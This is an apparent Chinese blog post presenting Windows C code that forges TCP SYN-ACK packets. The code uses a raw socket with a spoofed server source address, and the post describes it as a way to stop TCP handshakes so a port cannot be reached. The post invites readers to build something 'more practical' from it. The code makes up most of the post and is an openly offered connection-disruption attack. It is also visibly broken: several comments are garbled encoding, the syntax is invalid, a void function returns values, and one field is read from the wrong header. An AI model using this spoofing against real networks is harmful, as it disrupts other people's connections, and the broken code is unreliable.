下面是一个伪造IP包的代码,大家可以发挥自己的想象而去做一些更实际的东西


 


利用伪造IP包达到禁止端口访问的目的,大家都知道TCP是面向连接的,连接时有三次握手,之后才能确认连接成功。那么我们就应该能在第一次握手之后伪造一个服务方的握手返回,从而达到TCP连接不成功,无法访问某端口。程序如下:


void DeCodeIP(buf,iBufSize)  //解析侦听到的IP数据包


{


   IPHEADER * pIPhdr;


  TCPHEADER * pTCPhdr;


  pIPhdr=(IPHEADER * )buf;


 //获得TCP header的起始位置


  int iIphLen = sizeof(unsigned long) * (pIPhdr->h_lenver & 0xf);


  pTCPhdr = (TCPHEADER* )(buf+iIphLen);


//判断是否为第一次握手IP数据包,pIPhdr->th_flag=2 即(“-s—-“)


 if (iBufSize==48) && (pIPhdr->iProtocol==IPPROTO_TCP) && (pIPhdr->th_flag==2)


  sendTCP_SYNACK(szDestIP,szSourceIP,pTCPhdr->destPort,pTCPhdr->srcPort,pTCPhdr->seq);


}


void sendTCP_SYNACK(char * szSrcIP, char * szDestIP,unsigned short srcPort,unsigned short destPort,unsigned int iAck)
{
  int iErrorCode;
  SOCKET s;
  IP_HEADER ip_header;
  TCP_HEADER tcp_header;
  PSD_HEADER psd_header;
  struct sockaddr_in remote;
  char * ptr=NULL;
  //创建socket
    s=socket(AF_INET, SOCK_RAW, IPPROTO_IP);
    if (CheckSockError(s, “socket-tcp”))
   return FALSE;


 BOOL bOpt = TRUE;
    iErrorCode = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
    if (CheckSockError(iErrorCode, “setsockopt-TCP”))
    {
  closesocket(s);
        return FALSE;
    }


  //—end­
 //伪装连接


  unsigned short iTotalSize=44;
  unsigned short iTCPSize=24;
  char *sendBuf=new char[iTotalSize];


    ip_header.h_lenver=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
 //高四位版本号,低四位首部长度
 ip_header.total_len=htons(iTotalSize); //16位总长度
 ip_header.tos=0;
 ip_header.ident=htons(17393); //16λ±êʶ
 ip_header.frag_and_flags=0; //3λ±ê&OUML;¾Î»,13λoffset
 ip_header.ttl=57; //8λÉú´æʱ¼äTTL
 ip_header.proto=IPPROTO_TCP; //8λЭÒé(TCP,UDP¡­)
 ip_header.checksum=0; //16位校验和


 ip_header.sourceIP=inet_addr(szSrcIP); //32位远地址·
 ip_header.destIP=inet_addr(szDestIP); //32位目的地址·
 ip_header.checksum=checksum((USHORT *)&ip_header,20);


    //填充TCP首部
 tcp_header.th_sport=htons(srcPort); //源端口
 tcp_header.th_dport=htons(destPort); //目的端口
 tcp_header.th_seq=htonl(0x581A784D); //SYN序列号
 tcp_header.th_ack=htonl(iAck+1); //应答序号
 tcp_header.th_lenres=(iTCPSize/sizeof(unsigned long)<<4|0); //TCP长度和保留位
 tcp_header.th_flag=0x12; //SYN 标志


 tcp_header.th_win=htons(65535); //窗口大小
 tcp_header.th_urp=0; //紧急指针
 tcp_header.th_sum=0; //校验和


    //填充TCP伪首部(只用于生成校验和)


 psd_header.saddr=ip_header.sourceIP;
 psd_header.daddr=ip_header.destIP;
 psd_header.mbz=0;
 psd_header.ptcl=IPPROTO_TCP;
 psd_header.tcpl=htons(iTCPSize);


 ZeroMemory(sendBuf,iTotalSize);
   //计算tcp校验和,包含伪TCP  header
 memcpy(sendBuf,&psd_header,sizeof(psd_header));
 ptr=sendBuf+sizeof(psd_header);
 memcpy(ptr,&tcp_header,sizeof(tcp_header));
 ptr=sendBuf+sizeof(psd_header)+sizeof(tcp_header);
 *ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;
 tcp_header.th_sum=checksum((USHORT *)sendBuf,sizeof(psd_header)+24);


 ZeroMemory(sendBuf,iTotalSize);


 //填充发送缓冲区


 memcpy(sendBuf,&ip_header,sizeof(ip_header));
 ptr=sendBuf+sizeof(ip_header);
    memcpy(ptr,&tcp_header,sizeof(tcp_header));
    ptr=sendBuf+sizeof(ip_header)+sizeof(tcp_header);
 *ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;
 remote.sin_family = AF_INET;
    remote.sin_port = htons(destPort);
    remote.sin_addr.s_addr = inet_addr(szDestIP);
 iErrorCode = sendto(s, sendBuf, iTotalSize, 0, (SOCKADDR *)&remote, sizeof(remote));
 CheckSockError(iErrorCode, “SYNACK sendto”);
 //伪装关闭连接
 iTotalSize=40;
    iTCPSize=20;


    // end——–
 closesocket(s);
 delete[] sendBuf;
  return TRUE;
}

Comments are closed.

Post Navigation